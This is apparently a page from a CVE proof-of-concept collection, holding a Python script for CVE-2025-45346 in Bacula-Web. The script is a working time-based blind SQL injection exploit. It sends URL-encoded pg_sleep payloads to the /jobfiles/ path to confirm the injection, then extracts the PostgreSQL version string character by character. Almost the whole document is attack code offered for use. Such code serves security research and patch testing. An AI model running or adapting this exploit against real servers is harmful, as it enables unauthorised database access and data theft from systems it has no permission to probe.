4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-45346.py PY
import requests
import time
import string

# Base configuration
base_url = "http://baculaweb.domain/jobfiles/29/1/"
cookies = {"Bacula-Web": "REPLACEME"}
headers = {
    "Cache-Control": "max-age=0", 
    "Accept-Language": "en-US,en;q=0.9", 
    "Upgrade-Insecure-Requests": "1", 
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 
    "Referer": "http://192.168.1.47/jobs", 
    "Accept-Encoding": "gzip, deflate, br", 
    "Connection": "keep-alive"
}
session = requests.session()

# Time threshold to determine if the query caused a delay (in seconds)
DELAY_THRESHOLD = 4

def make_request(payload):
    """Make a request with the given payload and return the time it took"""
    full_url = base_url + payload
    start_time = time.time()
    try:
        response = session.get(full_url, headers=headers, cookies=cookies)
        status_code = response.status_code
    except Exception as e:
        print(f"Request error: {e}")
        status_code = 0
    end_time = time.time()
    return end_time - start_time, status_code

def test_injection():
    """Test if the SQL injection is working"""
    print("[+] Testing SQL injection...")
    
    test_payload = "x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2))%20IS%20NULL)%20--%20"
    
    duration, status = make_request(test_payload)
    print(f"  Test query took {duration:.2f}s (status: {status})")
    
    if duration >= 2:
        print("[+] SQL injection is working!")
        return True
    else:
        print("[-] SQL injection test failed")
        return False

def extract_postgres_version():
    """Extract PostgreSQL version digit by digit"""
    print("[+] Extracting PostgreSQL version...")
    
    # First, check if we can access version()
    check_payload = "x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2)%20WHERE%20version()%20IS%20NOT%20NULL)%20IS%20NULL)%20--%20"
    
    duration, status = make_request(check_payload)
    print(f"  Version check query took {duration:.2f}s (status: {status})")
    
    if duration < 2:
        print("[-] Cannot access version() function")
        return None
    
    # Extract version digit by digit
    version = ""
    max_length = 20  # Maximum version string length to check
    
    for position in range(1, max_length + 1):
        print(f"  Position {position}: ", end="", flush=True)
        
        # Try all possible characters
        chars = string.digits + string.ascii_letters + string.punctuation + " "
        found = False
        
        for char in chars:
            # URL encode special characters
            encoded_char = requests.utils.quote(char)
            
            payload = f"x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2)%20WHERE%20SUBSTRING(version(),{position},1)=%27{encoded_char}%27)%20IS%20NULL)%20--%20"
            
            duration, status = make_request(payload)
            
            # Print progress indicator
            print(".", end="", flush=True)
            
            if duration >= 2:
                version += char
                print(f" Found: '{char}'")
                found = True
                break
        
        if not found:
            print(" No character found, might be end of version string")
            break
    
    return version

def main():
    print("=== PostgreSQL Version Extractor ===")
    
    if not test_injection():
        return
    
    version = extract_postgres_version()
    
    if version:
        print(f"\n[+] PostgreSQL version: {version}")
    else:
        print("\n[-] Failed to extract PostgreSQL version")

if __name__ == "__main__":
    main()